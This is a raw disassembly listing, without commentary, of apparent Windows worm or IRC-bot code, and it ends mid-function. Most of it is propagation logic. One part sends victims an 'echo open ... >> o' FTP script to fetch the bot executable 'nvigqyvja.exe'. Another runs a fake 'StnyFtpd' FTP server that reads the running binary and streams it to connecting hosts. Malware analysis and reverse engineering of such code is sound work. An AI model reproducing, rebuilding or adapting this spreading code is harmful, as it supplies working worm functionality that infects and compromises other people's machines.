var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 6C0h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	27h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_B0]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		mov	[eax+98h], esi
		push	10h		; Size
		lea	eax, [ebp+Dst]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		mov	[ebp+Dst], 2
		push	[ebp+var_A4]
		call	dword_4CB654	; htons
		push	ebx
		push	esi
		push	2
		mov	[ebp+var_12], ax
		mov	[ebp+var_10], ebx
		call	dword_4CB6D4	; socket
		mov	edi, eax
		or	esi, 0FFFFFFFFh
		cmp	edi, esi
		jnz	short loc_40E797
		cmp	[ebp+var_1C], ebx
		jnz	short loc_40E777
		push	ebx		; int
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_20]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_B0]	; int
		call	sub_409A73
		add	esp, 14h


loc_40E777:				; CODE XREF: sub_40E6F0+65j
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_4151AD
		push	[ebp+var_AC]
		call	sub_40B413
		pop	ecx
		pop	ecx
		push	ebx
		call	ds:dword_4270CC	; ExitThread


loc_40E797:				; CODE XREF: sub_40E6F0+60j
		mov	eax, [ebp+var_AC]
		push	10h
		imul	eax, 234h
		mov	dword_43E59C[eax], edi
		lea	eax, [ebp+Dst]
		push	eax
		push	edi
		call	dword_4CB680	; bind
		cmp	eax, esi
		mov	ebx, 400h
		jnz	loc_40E892
		call	dword_4CB5E8	; WSAGetLastError
		cmp	eax, 2740h
		jz	short loc_40E817
		xor	esi, esi
		cmp	[ebp+var_1C], esi
		jnz	short loc_40E7F7
		push	esi		; int
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_20]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_B0]	; int
		call	sub_409A73
		add	esp, 14h


loc_40E7F7:				; CODE XREF: sub_40E6F0+E5j
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_4151AD
		push	[ebp+var_AC]
		call	sub_40B413
		pop	ecx
		pop	ecx
		push	esi
		call	ds:dword_4270CC	; ExitThread


loc_40E817:				; CODE XREF: sub_40E6F0+DEj
		push	0FFFEh
		push	ebx
		call	sub_418685
		pop	ecx
		mov	dword_4CE39C, eax
		pop	ecx
		mov	[ebp+var_12], ax
		lea	eax, [ebp+Dst]
		push	10h
		push	eax
		push	edi
		call	dword_4CB680	; bind
		cmp	eax, esi
		jnz	short loc_40E892
		call	dword_4CB5E8	; WSAGetLastError
		xor	esi, esi
		cmp	[ebp+var_1C], esi
		jnz	short loc_40E872
		cmp	eax, 2740h
		jz	short loc_40E872
		push	esi		; int
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_20]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_B0]	; int
		call	sub_409A73
		add	esp, 14h


loc_40E872:				; CODE XREF: sub_40E6F0+159j
					; sub_40E6F0+160j
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_4151AD
		push	[ebp+var_AC]
		call	sub_40B413
		pop	ecx
		pop	ecx
		push	esi
		call	ds:dword_4270CC	; ExitThread


loc_40E892:				; CODE XREF: sub_40E6F0+CDj
					; sub_40E6F0+14Cj
		push	5
		push	edi
		call	dword_4CB67C	; listen
		cmp	eax, esi
		jz	loc_40E977
		mov	[ebp+var_4], 10h
		mov	esi, offset Str	; "nvigqyvja.exe"


loc_40E8AF:				; CODE XREF: sub_40E6F0+1D7j
					; sub_40E6F0+227j ...
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_C0]
		push	eax
		push	edi
		call	dword_4CB6E8	; accept
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	short loc_40E8AF
		cmp	[ebp+var_1C], 0
		jnz	short loc_40E8F0
		push	0		; int
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_20]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_B0]	; int
		call	sub_409A73
		add	esp, 14h


loc_40E8F0:				; CODE XREF: sub_40E6F0+1DDj
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_4151AD
		pop	ecx
		lea	eax, [ebp+var_2C0]
		push	0
		push	200h
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB66C	; recv
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E8AF
		push	esi
		push	esi
		push	dword_4CB390
		push	[ebp+var_B0]
		call	sub_40AC10
		pop	ecx
		push	eax
		push	offset aEchoOpenSDOEch ; "echo open %s %d >> o&echo user 1 >>o &e"...
		lea	eax, [ebp+Dest]
		push	ebx		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 1Ch
		lea	eax, [ebp+Dest]
		push	0
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+Dest]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB6A4	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_40E8AF
		inc	dword_4CE3A4
		jmp	loc_40E8AF
; ---------------------------------------------------------------------------


loc_40E977:				; CODE XREF: sub_40E6F0+1ADj
		push	edi
		call	dword_4CB6EC	; closesocket
		push	[ebp+var_AC]
		call	sub_40B413
		pop	ecx
		push	0
		call	ds:dword_4270CC	; ExitThread
sub_40E6F0	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E992	proc near		; DATA XREF: sub_40BACE+22Ao

var_A70		= byte ptr -0A70h
var_8E0		= dword	ptr -8E0h
var_6E0		= dword	ptr -6E0h
var_4C8		= byte ptr -4C8h
var_448		= dword	ptr -448h
var_444		= dword	ptr -444h
var_43C		= dword	ptr -43Ch
var_338		= byte ptr -338h
var_2D4		= byte ptr -2D4h
Dst		= byte ptr -2A0h
var_23C		= byte ptr -23Ch
var_22C		= dword	ptr -22Ch
var_228		= dword	ptr -228h
Str		= byte ptr -128h
Dest		= byte ptr -0FCh
var_C8		= byte ptr -0C8h
Str1		= byte ptr -0B0h
var_4C		= word ptr -4Ch
var_4A		= word ptr -4Ah
var_48		= dword	ptr -48h
var_3C		= byte ptr -3Ch
var_2C		= dword	ptr -2Ch
var_28		= byte ptr -28h
var_24		= dword	ptr -24h
var_20		= byte ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0A70h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	1
		mov	ecx, 0A9h
		mov	esi, eax
		lea	edi, [ebp+var_6E0]
		pop	ebx
		rep movsd
		mov	[eax+2A0h], ebx
		lea	eax, [ebp+var_A70]
		xor	esi, esi
		push	eax
		push	101h
		mov	[ebp+var_1C], ebx
		mov	[ebp+var_2C], ebx
		mov	[ebp+var_24], ebx
		mov	[ebp+var_22C], esi
		mov	[ebp+var_43C], esi
		call	ds:dword_4271F0	; WSAStartup
		push	esi
		push	ebx
		push	2
		call	ds:dword_427220	; socket
		mov	esi, ds:dword_4271F4
		lea	ecx, [ebp+var_1C]
		push	4
		push	ecx
		mov	edi, 0FFFFh
		push	4
		push	edi
		push	eax
		mov	[ebp+var_8], eax
		call	esi	; setsockopt
		lea	eax, [ebp+var_2C]
		push	4
		push	eax
		push	0FFFFFFFBh
		push	edi
		mov	edi, [ebp+var_8]
		push	edi
		call	esi	; setsockopt
		lea	eax, [ebp+var_24]
		push	eax
		push	8004667Eh
		push	edi
		call	ds:dword_4271F8	; ioctlsocket
		mov	ax, word ptr dword_4CB390
		and	[ebp+var_48], 0
		push	eax
		mov	[ebp+var_4C], 2
		call	dword_4CB654	; htons
		mov	[ebp+var_4A], ax
		lea	eax, [ebp+var_4C]
		push	10h
		push	eax
		push	edi
		call	ds:dword_4271FC	; bind
		test	eax, eax
		jge	short loc_40EA58
		mov	eax, ebx
		jmp	loc_40EFB8
; ---------------------------------------------------------------------------


loc_40EA58:				; CODE XREF: sub_40E992+BDj
		push	0Ah
		push	edi
		call	ds:dword_427200	; listen
		mov	[ebp+var_22C], ebx
		mov	ebx, ds:dword_427224
		mov	[ebp+var_228], edi
		mov	[ebp+var_4], edi


loc_40EA76:				; CODE XREF: sub_40E992+11Dj
					; sub_40E992+61Ej
		push	41h
		lea	esi, [ebp+var_22C]
		pop	ecx
		lea	edi, [ebp+var_43C]
		rep movsd
		xor	esi, esi
		lea	eax, [ebp+var_43C]
		push	esi
		push	esi
		push	esi
		push	eax
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	ds:dword_427228	; select
		cmp	eax, 0FFFFFFFFh
		jz	loc_40EFB5
		xor	edi, edi
		cmp	[ebp+var_4], esi
		mov	[ebp+arg_0], edi
		jl	short loc_40EA76


loc_40EAB1:				; CODE XREF: sub_40E992+618j
		xor	esi, esi
		push	64h		; Size
		lea	eax, [ebp+Dst]
		push	esi		; Val
		push	eax		; Dst
		call	_memset
		push	64h		; Size
		lea	eax, [ebp+Str1]
		push	esi		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 18h
		lea	eax, [ebp+var_43C]
		push	eax
		push	edi
		call	sub_426756	; __WSAFDIsSet
		test	eax, eax
		jz	loc_40EFA3
		cmp	edi, [ebp+var_8]
		jnz	short loc_40EB68
		lea	eax, [ebp+var_10]
		mov	[ebp+var_10], 10h
		push	eax
		lea	eax, [ebp+var_23C]
		push	eax
		push	[ebp+var_8]
		call	ds:dword_427204	; accept
		cmp	eax, 0FFFFFFFFh
		jz	loc_40EFA3
		xor	ecx, ecx
		cmp	[ebp+var_22C], esi
		jbe	short loc_40EB32
		lea	edx, [ebp+var_228]


loc_40EB22:				; CODE XREF: sub_40E992+19Ej
		cmp	[edx], eax
		jz	short loc_40EB32
		inc	ecx
		add	edx, 4
		cmp	ecx, [ebp+var_22C]
		jb	short loc_40EB22


loc_40EB32:				; CODE XREF: sub_40E992+188j
					; sub_40E992+192j
		cmp	ecx, [ebp+var_22C]
		jnz	short loc_40EB50
		cmp	[ebp+var_22C], 40h
		jnb	short loc_40EB50
		mov	[ebp+ecx*4+var_228], eax
		inc	[ebp+var_22C]


loc_40EB50:				; CODE XREF: sub_40E992+1A6j
					; sub_40E992+1AFj
		cmp	eax, [ebp+var_4]
		jle	short loc_40EB58
		mov	[ebp+var_4], eax


loc_40EB58:				; CODE XREF: sub_40E992+1C1j
		push	esi
		push	15h
		push	offset a220Stnyftpd0wn ; "220 StnyFtpd 0wns j0\n"
		push	eax
		call	ebx	; send
		jmp	loc_40EFA3
; ---------------------------------------------------------------------------


loc_40EB68:				; CODE XREF: sub_40E992+15Aj
		push	esi
		lea	eax, [ebp+Dst]
		push	64h
		push	eax
		push	edi
		call	ds:dword_427218	; recv
		test	eax, eax
		jg	short loc_40EBCF
		mov	edx, [ebp+var_22C]
		xor	ecx, ecx
		cmp	edx, esi
		jbe	short loc_40EBC3
		lea	eax, [ebp+var_228]


loc_40EB8F:				; CODE XREF: sub_40E992+207j
		cmp	[eax], edi
		jz	short loc_40EB9D
		inc	ecx
		add	eax, 4
		cmp	ecx, edx
		jb	short loc_40EB8F
		jmp	short loc_40EBC3
; ---------------------------------------------------------------------------


loc_40EB9D:				; CODE XREF: sub_40E992+1FFj
		dec	edx
		cmp	ecx, edx
		jnb	short loc_40EBBD
		lea	eax, [ebp+ecx*4+var_228]


loc_40EBA9:				; CODE XREF: sub_40E992+229j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	edx, [ebp+var_22C]
		add	eax, 4
		dec	edx
		cmp	ecx, edx
		jb	short loc_40EBA9


loc_40EBBD:				; CODE XREF: sub_40E992+20Ej
		dec	[ebp+var_22C]


loc_40EBC3:				; CODE XREF: sub_40E992+1F5j
					; sub_40E992+209j
		push	edi
		call	ds:dword_42721C	; closesocket
		jmp	loc_40EFA3
; ---------------------------------------------------------------------------


loc_40EBCF:				; CODE XREF: sub_40E992+1E9j
		lea	eax, [ebp+var_338]
		push	eax
		lea	eax, [ebp+Str1]
		push	eax
		lea	eax, [ebp+Dst]
		push	offset aSS_3	; "%s %s"
		push	eax		; Src
		call	_sscanf
		lea	eax, [ebp+Str1]
		push	offset aUser_1	; "USER"
		push	eax		; Str1
		call	_strcmp
		add	esp, 18h
		test	eax, eax
		jnz	short loc_40EC13
		push	esi
		push	16h
		push	offset a331PasswordReq ; "331 Password required\n"
		jmp	loc_40EC95
; ---------------------------------------------------------------------------


loc_40EC13:				; CODE XREF: sub_40E992+272j
		lea	eax, [ebp+Str1]
		push	offset aPass	; "PASS"
		push	eax		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40EC34
		push	esi
		push	14h
		push	offset a230UserLoggedI ; "230 User logged in.\n"
		jmp	short loc_40EC95
; ---------------------------------------------------------------------------


loc_40EC34:				; CODE XREF: sub_40E992+296j
		lea	eax, [ebp+Str1]
		push	offset aSyst	; "SYST"
		push	eax		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40EC55
		push	esi
		push	0Dh
		push	offset a215Stnyftpd ; "215 StnyFtpd\n"
		jmp	short loc_40EC95
; ---------------------------------------------------------------------------


loc_40EC55:				; CODE XREF: sub_40E992+2B7j
		lea	eax, [ebp+Str1]
		push	offset aRest	; "REST"
		push	eax		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40EC76
		push	esi
		push	10h
		push	offset a350Restarting_ ; "350 Restarting.\n"
		jmp	short loc_40EC95
; ---------------------------------------------------------------------------


loc_40EC76:				; CODE XREF: sub_40E992+2D8j
		lea	eax, [ebp+Str1]
		push	offset off_433E54 ; Str2
		push	eax		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40EC9B
		push	esi
		push	1Eh
		push	offset a257IsCurrentDi ; "257 \"/\" is current directory.\n"


loc_40EC95:				; CODE XREF: sub_40E992+27Cj
					; sub_40E992+2A0j ...
		push	edi
		jmp	loc_40EF8C
; ---------------------------------------------------------------------------


loc_40EC9B:				; CODE XREF: sub_40E992+2F9j
		mov	edi, offset aType ; "TYPE"
		lea	eax, [ebp+Str1]
		push	edi		; Str2
		push	eax		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40ECD7
		lea	eax, [ebp+var_338]
		push	offset aA_0	; "A"
		push	eax		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40ECD7
		push	esi
		push	13h
		push	offset a200TypeSetToA_ ; "200 Type set to A.\n"
		jmp	loc_40EF89
; ---------------------------------------------------------------------------


loc_40ECD7:				; CODE XREF: sub_40E992+31Fj
					; sub_40E992+336j
		lea	eax, [ebp+Str1]
		push	edi		; Str2
		push	eax		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40ED0E
		lea	eax, [ebp+var_338]
		push	offset aI_0	; "I"
		push	eax		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40ED0E
		push	esi
		push	13h
		push	offset a200TypeSetToI_ ; "200 Type set to I.\n"
		jmp	loc_40EF89
; ---------------------------------------------------------------------------


loc_40ED0E:				; CODE XREF: sub_40E992+356j
					; sub_40E992+36Dj
		lea	eax, [ebp+Str1]
		push	offset aPasv	; "PASV"
		push	eax		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40ED59
		push	0Ah
		mov	esi, offset a425PassiveNotS ; "425 Passive not supported on this serve"...
		pop	ecx
		lea	edi, [ebp+Str]
		rep movsd
		push	eax
		lea	eax, [ebp+Str]
		push	eax		; Str
		movsw
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+Str]


loc_40ED4C:				; CODE XREF: sub_40E992+406j
		push	eax
		push	[ebp+arg_0]
		call	ebx	; send
		xor	esi, esi
		jmp	loc_40EF8E
; ---------------------------------------------------------------------------


loc_40ED59:				; CODE XREF: sub_40E992+391j
		lea	eax, [ebp+Str1]
		push	offset aList_0	; "LIST"
		push	eax		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40ED9A
		push	5
		mov	esi, offset a226TransferCom ; "226 Transfer complete\n"
		pop	ecx
		lea	edi, [ebp+var_C8]
		rep movsd
		movsw
		push	eax
		lea	eax, [ebp+var_C8]
		push	eax		; Str
		movsb
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_C8]
		jmp	short loc_40ED4C
; ---------------------------------------------------------------------------


loc_40ED9A:				; CODE XREF: sub_40E992+3DCj
		lea	eax, [ebp+Str1]
		push	offset aPort	; "PORT"
		push	eax		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40EE6B
		lea	eax, [ebp+var_2D4]
		push	eax
		lea	eax, [ebp+Dest]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_28]
		push	eax
		lea	eax, [ebp+Dst]
		push	offset aS_1	; "%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"...
		push	eax		; Src
		call	_sscanf
		lea	eax, [ebp+Dest]
		push	eax		; Str
		call	_atoi
		mov	edi, eax
		lea	eax, [ebp+var_2D4]
		push	eax		; Str
		call	_atoi
		mov	[ebp+var_C], eax
		push	32h		; Size
		lea	eax, [ebp+Dest]
		push	esi		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 34h
		lea	eax, [ebp+Dest]
		push	[ebp+var_C]
		push	edi
		push	offset aXX	; "%x%x\n"
		push	eax		; Dest
		call	_sprintf
		push	10h		; Radix
		lea	eax, [ebp+Dest]
		push	esi		; EndPtr
		push	eax		; Str
		call	_strtoul
		add	esp, 1Ch
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_28]
		push	eax
		lea	eax, [ebp+var_3C]
		push	offset aS_S_S_S	; "%s.%s.%s.%s"
		push	eax		; Dest
		call	_sprintf
		add	esp, 18h
		push	esi
		push	1Dh
		push	offset a200PortCommand ; "200 PORT command successful.\n"
		jmp	loc_40EF89
; ---------------------------------------------------------------------------


loc_40EE6B:				; CODE XREF: sub_40E992+41Dj
		lea	eax, [ebp+Str1]
		push	offset aRetr	; "RETR"
		push	eax		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40EF6A
		push	esi
		push	28h
		push	offset a150OpeningBina ; "150 Opening BINARY mode data connection"...
		push	[ebp+arg_0]
		call	ebx	; send
		push	[ebp+var_C]
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_40EFBF
		pop	ecx
		cmp	eax, 1
		pop	ecx
		jnz	loc_40EF60
		lea	eax, [ebp+var_3C]
		push	eax
		lea	eax, [ebp+var_8E0]
		push	offset aFtpTransferSta ; "ftp transfer started to: %s"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		cmp	[ebp+var_444], esi
		jnz	short loc_40EEED
		push	esi		; int
		lea	eax, [ebp+var_8E0]
		push	[ebp+var_448]	; int
		push	eax		; int
		lea	eax, [ebp+var_4C8]
		push	eax		; Str
		push	[ebp+var_6E0]	; int
		call	sub_409A73
		add	esp, 14h


loc_40EEED:				; CODE XREF: sub_40E992+536j
		call	sub_40F03C
		cmp	eax, 1
		jnz	loc_40EF8E
		push	esi
		push	17h
		push	offset a226TransferC_0 ; "226 Transfer complete.\n"
		push	[ebp+arg_0]
		call	ebx	; send
		lea	eax, [ebp+var_3C]
		push	eax
		lea	eax, [ebp+var_8E0]
		push	offset aFtpTransferCom ; "ftp transfer complete	to: %s"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		cmp	[ebp+var_444], esi
		jnz	short loc_40EF4B
		push	esi		; int
		lea	eax, [ebp+var_8E0]
		push	[ebp+var_448]	; int
		push	eax		; int
		lea	eax, [ebp+var_4C8]
		push	eax		; Str
		push	[ebp+var_6E0]	; int
		call	sub_409A73
		add	esp, 14h


loc_40EF4B:				; CODE XREF: sub_40E992+594j
		lea	eax, [ebp+var_8E0]
		push	eax
		call	sub_4151AD
		inc	dword_4CE160
		pop	ecx
		jmp	short loc_40EF8E
; ---------------------------------------------------------------------------


loc_40EF60:				; CODE XREF: sub_40E992+512j
		push	esi
		push	20h
		push	offset a425CanTOpenDat ; "425 Can't open data connection.\n"
		jmp	short loc_40EF89
; ---------------------------------------------------------------------------


loc_40EF6A:				; CODE XREF: sub_40E992+4EEj
		lea	eax, [ebp+Str1]
		push	offset aQuit	; "QUIT"
		push	eax		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40EF8E
		push	esi
		push	1Bh
		push	offset a221GoodbyeHapp ; "221 Goodbye happy r00ting.\n"


loc_40EF89:				; CODE XREF: sub_40E992+340j
					; sub_40E992+377j ...
		push	[ebp+arg_0]


loc_40EF8C:				; CODE XREF: sub_40E992+304j
		call	ebx	; send


loc_40EF8E:				; CODE XREF: sub_40E992+3C2j
					; sub_40E992+563j ...
		push	64h		; Size
		lea	eax, [ebp+Dst]
		push	esi		; Val
		push	eax		; Dst
		call	_memset
		mov	edi, [ebp+arg_0]
		add	esp, 0Ch


loc_40EFA3:				; CODE XREF: sub_40E992+151j
					; sub_40E992+17Aj ...
		inc	edi
		cmp	edi, [ebp+var_4]
		mov	[ebp+arg_0], edi
		jle	loc_40EAB1
		jmp	loc_40EA76
; ---------------------------------------------------------------------------


loc_40EFB5:				; CODE XREF: sub_40E992+10Fj
		push	1
		pop	eax


loc_40EFB8:				; CODE XREF: sub_40E992+C1j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_40E992	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EFBF	proc near		; CODE XREF: sub_40E992+508p

var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1A0h
		lea	eax, [ebp+var_1A0]
		push	eax
		push	101h
		call	ds:dword_4271F0	; WSAStartup
		push	0
		push	1
		push	2
		call	ds:dword_427220	; socket
		push	[ebp+arg_0]
		mov	dword_4CE3A8, eax
		mov	[ebp+var_10], 2
		call	ds:dword_42720C	; inet_addr
		push	[ebp+arg_4]
		mov	[ebp+var_C], eax
		call	ds:dword_427210	; htons
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	dword_4CE3A8
		call	ds:dword_427214	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40F037
		push	dword_4CE3A8
		call	ds:dword_42721C	; closesocket
		call	ds:dword_4271EC	; WSACleanup
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_40F037:				; CODE XREF: sub_40EFBF+60j
		push	1
		pop	eax
		leave
		retn
sub_40EFBF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F03C	proc near		; CODE XREF: sub_40E992:loc_40EEEDp

DstBuf		= byte ptr -504h
Filename	= byte ptr -104h

		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	esi
		lea	eax, [ebp+Filename]
		push	104h
		push	eax
		push	0
		call	ds:dword_427070	; GetModuleFileNameA
		lea	eax, [ebp+Filename]
		push	offset aRb	; "rb"
		push	eax		; Filename
		call	_fopen
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_40F0D3
		test	byte ptr [esi+0Ch], 10h
		jnz	short loc_40F0B7
		push	edi
		mov	edi, 400h


loc_40F07F:				; CODE XREF: sub_40F03C+78j
		push	esi		; File
		push	1		; Count
		lea	eax, [ebp+DstBuf]
		push	edi		; ElementSize
		push	eax		; DstBuf
		call	_fread
		add	esp, 10h
		lea	eax, [ebp+DstBuf]
		push	0
		push	edi
		push	eax
		push	dword_4CE3A8
		call	ds:dword_427224	; send
		push	1
		call	ds:dword_427078	; Sleep
		test	byte ptr [esi+0Ch], 10h
		jz	short loc_40F07F
		pop	edi


loc_40F0B7:				; CODE XREF: sub_40F03C+3Bj
		push	esi		; File
		call	_fclose
		pop	ecx
		push	dword_4CE3A8
		call	ds:dword_42721C	; closesocket
		call	ds:dword_4271EC	; WSACleanup
		push	1
		pop	eax


loc_40F0D3:				; CODE XREF: sub_40F03C+35j
		pop	esi
		leave
		retn
sub_40F03C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F0D6	proc near		; DATA XREF: sub_401ACD+2284o
					; sub_40BACE+475o

Str		= byte ptr -28F0h
Str1		= byte ptr -18F0h
Dest		= byte ptr -8F0h
var_6F0		= byte ptr -6F0h
var_5EC		= dword	ptr -5ECh
var_5E8		= byte ptr -5E8h
var_360		= byte ptr -360h
var_25C		= dword	ptr -25Ch
var_254		= dword	ptr -254h
var_250		= dword	ptr -250h
var_24C		= dword	ptr -24Ch
var_248		= dword	ptr -248h
var_23C		= byte ptr -23Ch
var_138		= dword	ptr -138h
var_134		= dword	ptr -134h
var_34		= byte ptr -34h
Dst		= word ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 28F0h
		call	__alloca_probe
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_5EC]
		push	1
		rep movsd
		pop	esi
		xor	ebx, ebx
		mov	[eax+3ACh], esi
		push	10h		; Size
		lea	eax, [ebp+Dst]
		push	ebx		; Val
		push	eax		; Dst
		mov	[ebp+var_14], esi
		call	_memset
		add	esp, 0Ch
		mov	[ebp+Dst], 2
		push	[ebp+var_25C]
		call	dword_4CB654	; htons
		push	ebx
		push	esi
		push	2
		mov	[ebp+var_22], ax
		mov	[ebp+var_20], ebx
		call	dword_4CB6D4	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_C], edi
		jz	loc_40F4C1
		mov	eax, [ebp+var_254]
		push	10h
		imul	eax, 234h
		mov	dword_43E59C[eax], edi
		lea	eax, [ebp+Dst]
		push	eax
		push	edi
		call	dword_4CB680	; bind
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F4C1
		push	7FFFFFFFh
		push	edi
		call	dword_4CB67C	; listen
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F4C1
		lea	eax, [ebp+var_14]
		push	eax
		push	8004667Eh
		push	edi
		call	dword_4CB6F0	; ioctlsocket
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F4C1
		mov	ebx, esi
		mov	[ebp+var_134], edi
		mov	[ebp+var_138], ebx
		mov	[ebp+var_8], edi


loc_40F1AD:				; CODE XREF: sub_40F0D6+3E1j
		push	41h
		xor	eax, eax
		pop	ecx
		lea	esi, [ebp+var_138]
		push	eax
		push	eax
		push	eax
		lea	eax, [ebp+var_6F0]
		push	eax
		mov	eax, [ebp+var_8]
		lea	edi, [ebp+var_6F0]
		inc	eax
		rep movsd
		push	eax
		call	dword_4CB63C	; select
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F4BC
		xor	esi, esi
		mov	[ebp+var_4], esi


loc_40F1E3:				; CODE XREF: sub_40F0D6+3DBj
		lea	eax, [ebp+var_6F0]
		push	eax
		push	esi
		call	dword_4CB540	; __WSAFDIsSet
		test	eax, eax
		jz	loc_40F4A7
		cmp	esi, [ebp+var_C]
		jnz	short loc_40F265
		lea	eax, [ebp+var_10]
		mov	[ebp+var_10], 10h
		push	eax
		lea	eax, [ebp+var_34]
		push	eax
		push	[ebp+var_C]
		call	dword_4CB6E8	; accept
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F4A7
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_40F237
		lea	edx, [ebp+var_134]


loc_40F22B:				; CODE XREF: sub_40F0D6+15Fj
		cmp	[edx], eax
		jz	short loc_40F237
		inc	ecx
		add	edx, 4
		cmp	ecx, ebx
		jb	short loc_40F22B


loc_40F237:				; CODE XREF: sub_40F0D6+14Dj
					; sub_40F0D6+157j
		cmp	ecx, ebx
		jnz	short loc_40F254
		cmp	ebx, 40h
		jnb	short loc_40F254
		mov	[ebp+ecx*4+var_134], eax
		mov	ebx, [ebp+var_138]
		inc	ebx
		mov	[ebp+var_138], ebx


loc_40F254:				; CODE XREF: sub_40F0D6+163j
					; sub_40F0D6+168j
		cmp	eax, [ebp+var_8]
		jbe	loc_40F4A7
		mov	[ebp+var_8], eax
		jmp	loc_40F4A7
; ---------------------------------------------------------------------------


loc_40F265:				; CODE XREF: sub_40F0D6+126j
		mov	edi, 1000h
		lea	eax, [ebp+Str]
		push	edi		; Size
		push	0		; Val
		push	eax		; Dst
		call	_memset
		push	edi		; Size
